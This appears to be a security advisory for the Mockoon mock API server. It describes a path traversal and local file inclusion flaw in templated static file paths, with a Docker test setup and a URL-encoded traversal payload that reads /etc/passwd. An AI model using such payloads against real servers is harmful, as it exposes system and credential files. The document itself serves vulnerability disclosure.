Summary

A mock API configuration for static file serving following the same approach presented in the documentation page, where the server filename is generated via templating features from user input is vulnerable to Path Traversal and LFI, allowing an attacker to get any file in the mock server filesystem.
The issue may be particularly relevant in cloud hosted server instances

Details

In sendFileWithCallback(code) and sendFile(code) the filePath variable is parsed using TemplateParser

let filePath = TemplateParser({
        shouldOmitDataHelper: false,
        // replace backslashes with forward slashes, but not if followed by a dot (to allow helpers with paths containing properties with dots: e.g. {{queryParam 'path.prop\.with\.dots'}})
        content: routeResponse.filePath.replace(/\\(?!\.)/g, '/'),
        environment: this.environment,
        processedDatabuckets: this.processedDatabuckets,
        globalVariables: this.globalVariables,
        request: serverRequest,
        envVarsPrefix: this.options.envVarsPrefix
      });

The path extracted from the request parameters used when composing the final file path is not sanitized and is vulnerable to path traversal exploits (e.g. ../../../../../etc/passwd)

PoC

Test setup

The issue has been tested with mockoon-cli, using the Docker image mockoon/cli:latest

config.json

# Folder setup
mkdir mockoon-test
cd mockoon-test

# put config.json in mockooon-test dir

mkdir static

# Run container
docker run -d --mount type=bind,source=./config.json,target=/data,readonly -v ./static:/static -p 3000:3000 mockoon/cli:latest -d data -p 3000

Payload to reproduce

Browsing directly to http://localhost:3000/static/%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd is going to display the /etc/passwd file in the container filesystem

References

• GHSA-w7f9-wqc4-3wxr
• mockoon/mockoon@c7f6e23
• https://github.com/mockoon/mockoon/blob/1ed31c4059d7f757f6cb2a43e10dc81b0d9c55a9/packages/commons-server/src/libs/server/server.ts#L1400
• https://github.com/mockoon/mockoon/blob/1ed31c4059d7f757f6cb2a43e10dc81b0d9c55a9/packages/commons-server/src/libs/server/server.ts#L1551